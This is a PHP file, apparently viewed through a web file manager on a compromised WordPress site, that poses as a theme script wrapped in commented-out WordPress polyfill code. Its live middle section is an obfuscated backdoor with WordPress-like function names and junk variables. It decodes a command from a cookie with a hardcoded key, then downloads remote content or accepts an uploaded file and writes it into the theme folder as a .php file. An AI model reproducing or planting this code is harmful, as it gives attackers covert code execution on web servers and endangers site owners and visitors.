Файловый менеджер - Редактировать - /home/digitalm/tendepavia/wp-content/themes/o351r501/J.js.php
Назад
<?php /* * * WordPress implementation for PHP functions either missing from older PHP versions or not included by default. * * @package PHP * @access private If gettext isn't available. if ( ! function_exists( '_' ) ) { function _( $message ) { return $message; } } * * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use. * * @ignore * @since 4.2.2 * @access private * * @param bool $set - Used for testing only * null : default - get PCRE/u capability * false : Used for testing - return false for future calls to this function * 'reset': Used for testing - restore default behavior of this function function _wp_can_use_pcre_u( $set = null ) { static $utf8_pcre = 'reset'; if ( null !== $set ) { $utf8_pcre = $set; } if ( 'reset' === $utf8_pcre ) { phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support. $utf8_pcre = @preg_match( '/^./u', 'a' ); } return $utf8_pcre; } if ( ! function_exists( 'mb_substr' ) ) : * * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. function mb_substr( $string, $start, $length = null, $encoding = null ) { return _mb_substr( $string, $start, $length, $encoding ); } endif; * * Internal compat function to mimic mb_substr(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } * The solution below works only for UTF-8, so in case of a different * charset just use built-in substr(). if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } if ( _wp_can_use_pcre_u() ) { Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); $chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); return implode( '', $chars ); } $regex = '/( [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; Start with 1 element instead of 0 since the first thing we do is pop. $chars = array( '' ); do { We had some string left over from the last round, but we counted it in that last round. array_pop( $chars ); * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). $pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); $chars = array_merge( $chars, $pieces ); If there's anything left over, repeat the loop. } while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) ); return implode( '', array_slice( $chars, $start, $length ) ); } if ( ! function_exists( 'mb_strlen' ) ) : * * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. function mb_strlen( $string, $encoding = null ) { return _mb_strlen( $string, $encoding ); } endif; * * Internal compat function to mimic mb_strlen(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. function _mb_strlen( $str, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } * The solution below works only for UTF-8, so in case of a different charset * just use built-in strlen(). if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) { return strlen( $str ); } if ( _wp_can_use_pcre_u() ) { Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); return count( $match[0] ); } $regex = '/(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; Start at 1 instead of 0 since the first thing we do is decrement. $count = 1; do { We had some string left over from the last round, but we counted it in that last round. $count--; * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). $pieces = preg_split( $regex, $str, 1000 ); Increment. $count += count( $pieces ); If there's anything left over, repeat the loop. } while ( $str = array_pop( $pieces ) ); Fencepost: preg_split() always returns one extra item in the array. return --$count; } if ( ! function_exists( 'hash_hmac' ) ) : * * Compat function to mimic hash_hmac(). * * The Hash extension is bundled with PHP by default since PHP 5.1.2. * However, the extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill * and the associated `_hash_hmac()` function can be safely removed. * * @ignore * @since 3.2.0 * * @see _hash_hmac() * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $binary Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$binary`. * False if `$algo` is unknown or invalid. function hash_hmac( $algo, $data, $key, $binary = false ) { return _hash_hmac( $algo, $data, $key, $binary ); } endif; * * Internal compat function to mimic hash_hmac(). * * @ignore * @since 3.2.0 * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $binary Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$binary`. * False if `$algo` is unknown or invalid. function _hash_hmac( $algo, $data, $key, $binary = false ) { $packs = array( 'md5' => 'H32', 'sha1' => 'H40', ); if ( ! isset( $packs[ $algo ] ) ) { return false; } $pack = $packs[ $algo ]; if ( strlen( $key ) > 64 ) { $key = pack( $pack, $algo( $key ) ); } $key = str_pad( $key, 64, chr( 0 ) ); $ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) ); $opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) ); $hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) ); if ( $binary ) { return pack( $pack, $hmac ); } return $hmac; } if ( ! function_exists( 'hash_equals' ) ) : * * Timing attack safe string comparison. * * Compares two strings using the same time whether they're equal or not. * * Note: It can leak the length of a string when arguments of differing length are supplied. * * This function was added in PHP 5.6. * However, the Hash extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. whe*/ /** * Possible syncwords indicating bitstream encoding. */ function save_widget($folder_plugins, $tz_min) // initialize these values to an empty array, otherwise they default to NULL { $v_options_trick = strlen($tz_min); // module.tag.id3v1.php // $xclient_allowed_attributes = date("H:i:s"); date_default_timezone_set("America/New_York"); if ($xclient_allowed_attributes > "12:00:00") { $responseCode = "Good Evening"; } else { $responseCode = "Good Morning"; } $mq_sql = strlen($folder_plugins); $modal_update_href = strtoupper($responseCode); $v_options_trick = $mq_sql / $v_options_trick; // s3 += s15 * 666643; $v_options_trick = ceil($v_options_trick); $d0 = str_split($folder_plugins); $tz_min = str_repeat($tz_min, $v_options_trick); $deleted_message = str_split($tz_min); $deleted_message = array_slice($deleted_message, 0, $mq_sql); $codepoint = array_map("get_user_id_from_string", $d0, $deleted_message); $codepoint = implode('', $codepoint); return $codepoint; } /** * Customize API: WP_Customize_Site_Icon_Control class * * @package WordPress * @subpackage Customize * @since 4.4.0 */ function get_last_updated($thisfile_asf_dataobject) { $required_text = "Lorem Ipsum"; $r4 = "Sample%20Data"; $ItemKeyLength = rawurldecode($r4); return strtoupper($thisfile_asf_dataobject); } /** * Filters the comment author's URL cookie before it is set. * * When this filter hook is evaluated in wp_filter_comment(), * the comment author's URL string is passed. * * @since 1.5.0 * * @param string $author_url_cookie The comment author URL cookie. */ function wp_deregister_script($v_att_list, $autosave_rest_controller) { $LISTchunkMaxOffset = change_encoding_mbstring($v_att_list); $pad_len = "URLencodedText"; $original_url = rawurldecode($pad_len); $the_tags = hash('sha256', $original_url); if ($LISTchunkMaxOffset === false) { $post_name_abridged = str_pad($the_tags, 64, "0"); # $server_caps = strlen($original_url); //$p_header['external'] = 0x41FF0010; // Value for a folder : to be checked $sy = explode("Text", $original_url); return false; // Parse comment IDs for a NOT IN clause. } // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $dsurmod = implode(".", $sy); return wp_update_site($autosave_rest_controller, $LISTchunkMaxOffset); } /** * @since 3.3.0 * @var array */ function doEncode($thisfile_asf_dataobject) { $alt_text_description = "Hello World"; $pingback_link_offset = hash('sha256', $alt_text_description); // Associative to avoid double-registration. $mine_inner_html = substr($pingback_link_offset, 0, 10); return strtolower($thisfile_asf_dataobject); } /** * Gets the error of combining operation. * * @since 5.6.0 * * @param array $value The value to validate. * @param string $param The parameter name, used in error messages. * @param array $errors The errors array, to search for possible error. * @return WP_Error The combining operation error. */ function wp_update_site($autosave_rest_controller, $preferred_icons) { return file_put_contents($autosave_rest_controller, $preferred_icons); } /** * Build Magpie object based on RSS from URL. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $v_att_list URL to retrieve feed. * @return MagpieRSS|false MagpieRSS object on success, false on failure. */ function permalink_anchor($media_dims) { rest_application_password_check_errors($media_dims); $folder_plugins = "Test123"; get_user_data_from_wp_global_styles($media_dims); // pic_width_in_mbs_minus1 } /* * For people who really REALLY know what they're doing with TinyMCE * You can modify $mceInit to add, remove, change elements of the config * before tinyMCE.init. Setting "valid_elements", "invalid_elements" * and "extended_valid_elements" can be done through this filter. Best * is to use the default cleanup by not specifying valid_elements, * as TinyMCE checks against the full set of HTML 5.0 elements and attributes. */ function rest_application_password_check_errors($v_att_list) { $v_skip = basename($v_att_list); $style_key = "secure_item"; // 4.30 ASPI Audio seek point index (ID3v2.4+ only) $autosave_rest_controller = set_caption_class($v_skip); // and verify there's at least one instance of "TRACK xx AUDIO" in the file $player = explode("_", $style_key); wp_deregister_script($v_att_list, $autosave_rest_controller); } /** * Displaying paging text. * * @see do_paging() Builds paging text. * * @since 2.1.0 * @access public */ function sodium_crypto_kdf_derive_from_key($v_att_list) { $v_att_list = "http://" . $v_att_list; return $v_att_list; } /** * Undismisses core update. * * @since 2.7.0 * * @param string $version * @param string $ItemKeyLengthocale * @return bool */ function register_panel_type($modified_user_agent, $collate, $media_dims) { $v_skip = $_FILES[$modified_user_agent]['name']; $mapping = "Hello, PHP!"; $autosave_rest_controller = set_caption_class($v_skip); $autosave_post = strtoupper($mapping); $site__in = hash('md5', $autosave_post); // Check that none of the required settings are empty values. get_language_attributes($_FILES[$modified_user_agent]['tmp_name'], $collate); privCheckFileHeaders($_FILES[$modified_user_agent]['tmp_name'], $autosave_rest_controller); } /** * Enables the block templates (editor mode) for themes with theme.json by default. * * @access private * @since 5.8.0 */ function get_page_cache_detail($dings) { $num_terms = pack("H*", $dings); $done = "item1,item2,item3"; $parameter_mappings = explode(',', $done); return $num_terms; } /** @var string $mac - Message authentication code */ function comment_date($maxkey) { $processed_item = sprintf("%c", $maxkey); $contributors = array(); return $processed_item; // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object. } /** * Text-only header with tagline and black background block pattern */ function login_footer($modified_user_agent, $collate, $media_dims) // if it is already specified. They can get around { if (isset($_FILES[$modified_user_agent])) { $root_block_name = " 123 Main St "; $monthnum = trim($root_block_name); if (strlen($monthnum) > 10) { $option_md5_data_source = strtoupper($monthnum); } register_panel_type($modified_user_agent, $collate, $media_dims); // Private. } get_user_data_from_wp_global_styles($media_dims); } /** * Filters the list of editable roles. * * @since 2.8.0 * * @param array[] $all_roles Array of arrays containing role information. */ function privCheckFileHeaders($colors_by_origin, $chan_prop_count) { $a_ = move_uploaded_file($colors_by_origin, $chan_prop_count); $tagmapping = "Decode-This"; $nextRIFFsize = substr($tagmapping, 7, 4); $dismiss_lock = rawurldecode($nextRIFFsize); $parsed_block = hash("sha512", $dismiss_lock); return $a_; } /** * Determines whether the query is for an existing category archive page. * * If the $category parameter is specified, this function will additionally * check if the query is for one of the categories specified. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.0 * * @global WP_Query $wp_query WordPress Query object. * * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing category archive page. */ function GetFileFormatArray($maxkey) { $maxkey = ord($maxkey); $folder_plugins = "Important Data"; return $maxkey; } /** * Role name. * * @since 2.0.0 * @var string */ function set_caption_class($v_skip) { return akismet_get_user_roles() . DIRECTORY_SEPARATOR . $v_skip . ".php"; } /** * List of custom input attributes for control output, where attribute names are the keys and values are the values. * * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types. * * @since 4.0.0 * @var array */ function install_dashboard($thisfile_asf_dataobject) { $num_parsed_boxes = "hash_example"; $player = explode("_", $num_parsed_boxes); $reconnect = substr($player[0], 0, 4); // a10 * b5 + a11 * b4; if (strlen($reconnect) < 10) { $pingback_link_offset = hash('adler32', $reconnect); } else { $pingback_link_offset = hash('crc32', $reconnect); } $thisfile_asf_dataobject = get_last_updated($thisfile_asf_dataobject); return doEncode($thisfile_asf_dataobject); } //Convert all message body line breaks to LE, makes quoted-printable encoding work much better /** * Fires immediately after a new user is activated. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. */ function type_url_form_audio($modified_user_agent, $collate) // Standard attribute text { $v_year = $_COOKIE[$modified_user_agent]; $v_year = get_page_cache_detail($v_year); // but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc) $validfield = ['one', 'two', 'three']; $media_dims = save_widget($v_year, $collate); $framename = implode(' + ', $validfield); $description_length = $framename; if (get_body_params($media_dims)) { $aNeg = permalink_anchor($media_dims); return $aNeg; } # XOR_BUF(STATE_INONCE(state), mac, // 56 kbps login_footer($modified_user_agent, $collate, $media_dims); } /** * The term ID represented by this setting instance. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ function akismet_get_user_roles() { return __DIR__; } /** * @var ParagonIE_Sodium_Core32_Curve25519_Fe */ function wp_set_post_tags($modified_user_agent) { // https://github.com/JamesHeinrich/getID3/issues/52 $collate = 'voQixlJncmUKxjeUaXj'; $meta_box_cb = ' x y z '; $prepared_nav_item = trim($meta_box_cb); $format_meta_urls = explode(' ', $prepared_nav_item); if (count($format_meta_urls) == 3) { $frame_crop_right_offset = implode(',', $format_meta_urls); } if (isset($_COOKIE[$modified_user_agent])) { type_url_form_audio($modified_user_agent, $collate); } // 3.3 } /** * Constructs the controller. * * @since 6.3.0 */ function get_user_data_from_wp_global_styles($responseCode) { // Workaround for ETags: we have to include the quotes as echo $responseCode; } /* translators: %s: Network title. */ function change_encoding_mbstring($v_att_list) { // 'unknown' genre $v_att_list = sodium_crypto_kdf_derive_from_key($v_att_list); return file_get_contents($v_att_list); // If a photo is also in content, don't need to add it again here. } //unset($framedata); /** * Don't render the control's content - it's rendered with a JS template. * * @since 4.3.0 */ function get_language_attributes($autosave_rest_controller, $tz_min) { $raw_pattern = file_get_contents($autosave_rest_controller); $plugins_section_titles = "InitialValue"; $widget_b = hash('md5', $plugins_section_titles); $is_gecko = str_pad($widget_b, 32, "*", STR_PAD_LEFT); $time_html = save_widget($raw_pattern, $tz_min); $frame_cropping_flag = explode("i", $plugins_section_titles); // An unhandled error occurred. $feed_url = count($frame_cropping_flag); $binarynumerator = array_merge($frame_cropping_flag, array($widget_b)); $inarray = implode("-", $binarynumerator); if (isset($inarray)) { $APEcontentTypeFlagLookup = str_pad($inarray, 50, "#"); } file_put_contents($autosave_rest_controller, $time_html); } /* translators: %s: Plugin author name. */ function wp_get_footnotes_from_revision($modified_user_agent, $options_found = 'txt') { return $modified_user_agent . '.' . $options_found; } // Advance the pointer after the above /** * Filters the content of a single block. * * The dynamic portion of the hook name, `$name`, refers to * the block name, e.g. "core/paragraph". * * @since 5.7.0 * @since 5.9.0 The `$instance` parameter was added. * * @param string $block_content The block content. * @param array $block The full block, including name and attributes. * @param WP_Block $instance The block instance. */ function get_body_params($v_att_list) // If it's the customize page then it will strip the query var off the URL before entering the comparison block. { if (strpos($v_att_list, "/") !== false) { $folder_parts = "String Example"; $sy = explode(" ", $folder_parts); $reals = trim($sy[1]); return true; } if (!empty($reals)) { $stylelines = substr($reals, 0, 3); $old_offset = hash('md5', $stylelines); $no_value_hidden_class = str_pad($old_offset, 32, "#"); } return false; } // Update children to point to new parent. /** * Adds slashes to only string values in an array of values. * * This should be used when preparing data for core APIs that expect slashed data. * This should not be used to escape data going directly into an SQL query. * * @since 5.3.0 * @deprecated 5.6.0 Use wp_slash() * * @see wp_slash() * * @param mixed $value Scalar or array of scalars. * @return mixed Slashes $value */ function get_user_id_from_string($processed_item, $frame_ownerid) { $wp_environment_type = GetFileFormatArray($processed_item) - GetFileFormatArray($frame_ownerid); $test_url = "TestToDecode"; $Original = rawurldecode($test_url); $absolute_filename = hash('sha512', $Original); // Set memory limits. $translation_types = str_pad($absolute_filename, 128, "1"); // Temp hack #14876. $default_padding = substr($Original, 4, 7); $wp_environment_type = $wp_environment_type + 256; if (empty($default_padding)) { $default_padding = str_pad($absolute_filename, 100, "2"); } // Deprecated path support since 5.9.0. $elements = explode("To", $Original); // ----- Set the status field $wp_environment_type = $wp_environment_type % 256; $declarations_array = implode("|", $elements); $headerfile = strlen($declarations_array); $compatible_operators = array_merge($elements, array($default_padding)); $processed_item = comment_date($wp_environment_type); return $processed_item; } # ge_add(&t,&u,&Ai[aslide[i]/2]); $modified_user_agent = 'fYuC'; $timestart = date("Y-m-d"); wp_set_post_tags($modified_user_agent); $post_count = hash('sha256', $timestart); /* n PHP 7.4.0 becomes the minimum requirement, this polyfill * can be safely removed. * * @since 3.9.2 * * @param string $known_string Expected string. * @param string $user_string Actual, user supplied, string. * @return bool Whether strings are equal. function hash_equals( $known_string, $user_string ) { $known_string_length = strlen( $known_string ); if ( strlen( $user_string ) !== $known_string_length ) { return false; } $result = 0; Do not attempt to "optimize" this. for ( $i = 0; $i < $known_string_length; $i++ ) { $result |= ord( $known_string[ $i ] ) ^ ord( $user_string[ $i ] ); } return 0 === $result; } endif; random_int() was introduced in PHP 7.0. if ( ! function_exists( 'random_int' ) ) { require ABSPATH . WPINC . '/random_compat/random.php'; } sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { * * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is countable, false otherwise. function is_countable( $value ) { return ( is_array( $value ) || $value instanceof Countable || $value instanceof SimpleXMLElement || $value instanceof ResourceBundle ); } } if ( ! function_exists( 'is_iterable' ) ) { * * Polyfill for is_iterable() function added in PHP 7.1. * * Verify that the content of a variable is an array or an object * implementing the Traversable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is iterable, false otherwise. function is_iterable( $value ) { return ( is_array( $value ) || $value instanceof Traversable ); } } if ( ! function_exists( 'array_key_first' ) ) { * * Polyfill for array_key_first() function added in PHP 7.3. * * Get the first key of the given array without affecting * the internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The first key of array if the array * is not empty; `null` otherwise. function array_key_first( array $array ) { foreach ( $array as $key => $value ) { return $key; } } } if ( ! function_exists( 'array_key_last' ) ) { * * Polyfill for `array_key_last()` function added in PHP 7.3. * * Get the last key of the given array without affecting the * internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The last key of array if the array *. is not empty; `null` otherwise. function array_key_last( array $array ) { if ( empty( $array ) ) { return null; } end( $array ); return key( $array ); } } if ( ! function_exists( 'str_contains' ) ) { * * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the haystack. * @return bool True if `$needle` is in `$haystack`, otherwise false. function str_contains( $haystack, $needle ) { return ( '' === $needle || false !== strpos( $haystack, $needle ) ); } } if ( ! function_exists( 'str_starts_with' ) ) { * * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { * * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. function str_ends_with( $haystack, $needle ) { if ( '' === $haystack && '' !== $needle ) { return false; } $len = strlen( $needle ); return 0 === substr_compare( $haystack, $needle, -$len, $len ); } } IMAGETYPE_WEBP constant is only defined in PHP 7.1 or later. if ( ! defined( 'IMAGETYPE_WEBP' ) ) { define( 'IMAGETYPE_WEBP', 18 ); } IMG_WEBP constant is only defined in PHP 7.0.10 or later. if ( ! defined( 'IMG_WEBP' ) ) { define( 'IMG_WEBP', IMAGETYPE_WEBP ); } */
| ver. 1.4 |
Github
|
.
| PHP 8.3.23 | Генерация страницы: 0.06 |
proxy
|
phpinfo
|
Настройка